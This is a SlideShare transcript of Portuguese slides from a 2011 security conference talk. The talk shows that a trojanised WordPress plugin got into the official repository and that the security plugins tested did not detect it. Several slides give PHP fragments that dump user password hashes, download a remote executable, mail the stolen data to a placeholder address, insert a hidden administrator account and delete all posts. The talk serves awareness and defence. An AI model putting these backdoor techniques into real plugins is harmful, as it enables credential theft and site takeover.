O slideshow foi denunciado.
Seu SlideShare está sendo baixado. ×

Vale Security Conference - 2011 - 6 - Thiago Bordini

Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Carregando em…3
×

Confira estes a seguir

1 de 25 Anúncio

Vale Security Conference - 2011 - 6 - Thiago Bordini

Baixar para ler offline

Vale Security Conference - 2011
Sábado - 6ª Palestra
Palestrante : Thiago Bordini
Palestra: Exploit code injection in CMS Systems
Twitter (Thiago Bordini) : https://twitter.com/#!/tbordini
Vídeo da Palestra (You Tube) : http://www.youtube.com/watch?v=Ls3ccKGe_bs
Slide (SlideShare) : http://www.slideshare.net/valesecconf/bordini

Vale Security Conference - 2011
Sábado - 6ª Palestra
Palestrante : Thiago Bordini
Palestra: Exploit code injection in CMS Systems
Twitter (Thiago Bordini) : https://twitter.com/#!/tbordini
Vídeo da Palestra (You Tube) : http://www.youtube.com/watch?v=Ls3ccKGe_bs
Slide (SlideShare) : http://www.slideshare.net/valesecconf/bordini

Anúncio
Anúncio

Mais Conteúdo rRelacionado

Diapositivos para si (17)

Quem viu também gostou (20)

Anúncio

Semelhante a Vale Security Conference - 2011 - 6 - Thiago Bordini (20)

Mais de Vale Security Conference (9)

Anúncio

Vale Security Conference - 2011 - 6 - Thiago Bordini

  1. 1. Agenda O que são CMS? Motivação Prova de conceito. Happy hour... Impactos Conclusões
  2. 2. O que é um CMS (Content Management System)? São sistemas criados para gerenciar e administrar o conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomla dentre outros. Plugins Agregam novas funcionalidades aos CMS tais como enquetes, galerias de fotos, integração com redes sociais, etc. Temas Personalizam a aparência dos sites criados através dos CMS. Permitem algumas customizações.
  3. 3. Considerações O que não esperar desta apresentação. 1 – Discussões sobre o que é exploit ou não. Segundo o EC-Council exploit é: A defined way to breach the security of an IT system through vulnerability. 2 – Demonstrar vulnerabilidades apenas técnicas. SI vai muito mais além disso. 3 – Que eu seja dono da verdade
  4. 4. Motivação
  5. 5. Motivação – e o Kico??? OK mas e o Kico??
  6. 6. Motivação
  7. 7. Motivação
  8. 8. Prova de conceito. Security as a happy hour... Dúvidas para a prova de conceito 1 – Os plugins e temas submetidos são realmente analisados? 2 – Os plugins de “segurança” são eficientes? 3 – O que é possível fazer com um plugin.
  9. 9. Prova de conceito. Security as a happy hour... 1 – Os plugins e temas submetidos são realmente analisados? Criado uma versão pt-br do plug-in no-copy de autoria de Mohanjith http://mohanjith.com/wordpress com o código malicioso já injetado. Submetido ao repositório do Wordpress.com juntamente com os outros milhares de plug-ins disponíveis no site.(Em dez/2010 – 12.533 plugins com 141.819.480 downloads. Qual foi o resultado???
  10. 10. Prova de conceito. Security as a happy hour... 1 – Os plugins e temas submetidos são realmente analisados?
  11. 11. Prova de conceito. Security as a happy hour... 2 – Os plugins de “segurança” são eficientes? Alguns plugins testados: Exploit-Scanner-1.0.5 (Identificou o encode_base64) Wp-security-scan 3.0.6 (Nada, apenas permissões inadequadas) Mjp-security-plugin-1.0 (Nada, apenas permissões inadequadas e usuários default) Qual foi o resultado??? Nenhum detectou o código malicioso.
  12. 12. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Funções utilizadas: Querys na base de dados. $wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb- >users")); Identificar URL onde o blog foi instalado. get_bloginfo('wpurl'); Redirecionar site para outro endereço. wp_remote_fopen('http://www.xyz.com/index.html');
  13. 13. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Identificar o diretório de upload do blog - wp_upload_dir(); PATH blog – $upload_dir['basedir']; URL dos uploads - $upload_dir['baseurl']; Criar pasta - wp_mkdir_p($target); Baixar arquivo remoto e efetuar o upload wp_upload_bits(‘xy.exe', null, file_get_contents($name)); $upload['url'];
  14. 14. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Coletando informações da BD $results=$wpdb->get_results("SELECT * FROM $wpdb- >users") .... $mensagem .= "ID: ". $result->ID ."n"; $mensagem .= "user_login: ". $result->user_login ."n"; $mensagem .= "user_pass: ". $result->user_pass ."n"; ....
  15. 15. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Garantindo o connection Back :D .... $mensagem = "URL Site: ". $url ."n"; $mensagem .= "Diretório criado em: ". $target_dir."n"; $mensagem .= "Arquivo criado em: ". $target_file."n"; .... $headers .= "From: PoC <poc@localhost>n"; $headers .= "Return-Path: PoC <poc@localhost>n"; $envio = mail("poc@localhost", "PoC", $mensagem, $headers); ....
  16. 16. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Garantindo o acesso Administrativo $wpdb->query(" INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (1999, 'poc', '$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.', 'poc', 'poc@xyz.local', '', '2010-07-01 22:43:10', '', 0, 'poc')");
  17. 17. Prova de conceito. Security as a happy hour... 3 – O que é possível fazer com um plugin. Live demo – Bonus Track!!!
  18. 18. Prova de conceito. Security as a happy hour... TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES APRESENTADOS TEM COMO OBJETIVO ALERTAR A PLATÉIA.
  19. 19. Prova de conceito. Security as a happy hour... Entenderam.....
  20. 20. Prova de conceito. Security as a happy hour... Seria possível pegar uma
  21. 21. Conclusões A principal falha é de processo por conta do wordpress e não nos plugins. A função wpdb permite uma infinidade de combinações de querys SQL como por exemplo: $wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0'"); Como não existe uma garantia da integridade dos plugins e templates, revise os códigos antes de instalar. Os plugins de segurança ajudam, mas não eliminam o problema.
  22. 22. Conclusões Recomendações como mudar os nomes das tabelas ou o diretório padrão de upload não eliminam o problema. Nas pastas de upload verifique as permissões aplicadas em arquivos e pastas. Manter o wordpress, plugins e temas atualizados é indispensável. Revise os códigos antes de instalar algo. Teste em ambiente independente.
  23. 23. Próximos passos Entender o mecanismo de criptografia que aparenta ter falhas na função avalanche e salt.
  24. 24. Prova de conceito. Security as a happy hour... Bonus Bonus Track!!! Plugin disponível em: http://migre.me/5B4S8 Usem por sua conta e risco. Sem suporte.
  25. 25. Dúvidas? Thiago Bordini thiago (at) bordini (dot) net www.staysafepodcast.com.br Security as a happy hour!!! Agradecimentos: Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura Referência: http://codex.wordpress.org/

×